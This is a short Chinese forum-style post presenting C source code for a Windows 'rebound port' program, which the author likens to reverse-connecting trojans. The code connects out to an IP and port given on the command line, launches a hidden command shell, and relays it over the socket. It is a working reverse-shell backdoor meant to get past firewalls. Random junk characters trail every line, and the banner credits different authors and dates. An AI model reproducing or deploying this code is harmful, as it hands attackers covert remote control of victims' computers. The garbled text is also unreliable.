这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G8^0^@o
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/* ============================== y'J:?!S,Yu
Rebound port in Windows NT (xk.NZnF
By wind,2006/7 `DgaO-Dg3
===============================*/ #Acon7Rp
#include (TT3(|v
#include :DOr!PNA
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#pragma comment(lib,"wsock32.lib") bc3|;O
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void OutputShell(); Ij;==f~G
SOCKET sClient; x !#Ma
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]k[Q]:q
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void main(int argc,char **argv) .DgoOo%?"
{ e={k.y}x}
WSADATA stWsaData; yPf?"W
int nRet; ! 6p>P4TT
SOCKADDR_IN stSaiClient,stSaiServer; ?o2;SY(-
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if(argc != 3) XAjd
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{ B,~f "
printf("Useage:\n\rRebound DestIP DestPort\n"); jGO9n
return; )LkM,T
} tj#=%m?8V;
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WSAStartup(MAKEWORD(2,2),&stWsaData); Zvd ;KGO(a
<u6c2!I{
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MZCL:#
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stSaiClient.sin_family = AF_INET; bWGyLo,
stSaiClient.sin_port = htons(0); 6@"Vqm|HD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @IEI%vH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P_,v5Qx"-
{ gbY LA a
printf("Bind Socket Failed!\n"); >]>0KQfO
return; J}x>~?W
} 4^
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stSaiServer.sin_family = AF_INET; sx-EA&5-9k
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Oq #o1>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DY)D(f/&3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^c/mj9M#C
{ B1|?RfCe
printf("Connect Error!"); Qy4X#wgD
return; Ty`-r5
} >pgQb9
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OutputShell(); IkSX\*
} e{v,x1Y_z(
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void OutputShell() pwa.q
{ _L$)2sl1R
char szBuff[1024]; TFBYY{Y
SECURITY_ATTRIBUTES stSecurityAttributes; T&?w"T2y
OSVERSIONINFO stOsversionInfo; $-m@KB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9uuta4&uI
STARTUPINFO stStartupInfo; i?ZA x4D
char *szShell; oR-O~_)U
PROCESS_INFORMATION stProcessInformation; /0Z|+L9Jo
unsigned long lBytesRead; zl0;84:H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^Ku\l #B
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VT'0DQ!NIq
stSecurityAttributes.lpSecurityDescriptor = 0; o^6jyb!j
stSecurityAttributes.bInheritHandle = TRUE; 4uFIpS|rq
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :9(3h"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `2>XH:+7F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \|v `l{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V@B7P{gH
stStartupInfo.wShowWindow = SW_HIDE; `Ac:f5a
stStartupInfo.hStdInput = hReadPipe; +T-@5v[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YKc>6)j
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GetVersionEx(&stOsversionInfo); qpoquWZ
- o4@#p> >
switch(stOsversionInfo.dwPlatformId) \^Ep>Pq`]
{ 9X!ET!
case 1: h8em\<;
szShell = "command.com"; [.{^" <Z<
break; a@Mq J=<L
default: B,4q>KQA
szShell = "cmd.exe"; b2G2 cL-(
break; g4Y) Bz
} iOl%-Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :*#rRQ>t
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send(sClient,szMsg,77,0); o1e4.-xI
while(1) 3 sl=>;-
{ kmIoJH5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {nTG~d
if(lBytesRead) ]y.Rg{iv
{ VF\{ra;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l`DtiJ?$$0
send(sClient,szBuff,lBytesRead,0); Y=9qJ`q
} F@<O;b#Ip
else i[PvDv"n
{ mU50pM~/i
lBytesRead=recv(sClient,szBuff,1024,0); ]+mjOks~
if(lBytesRead<=0) break; 3u*82s\8T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WPtMds4
} Rl1$?l6Rf
} `n6/ A)
CF\R<rF<VS
return; F#B5sLNb
}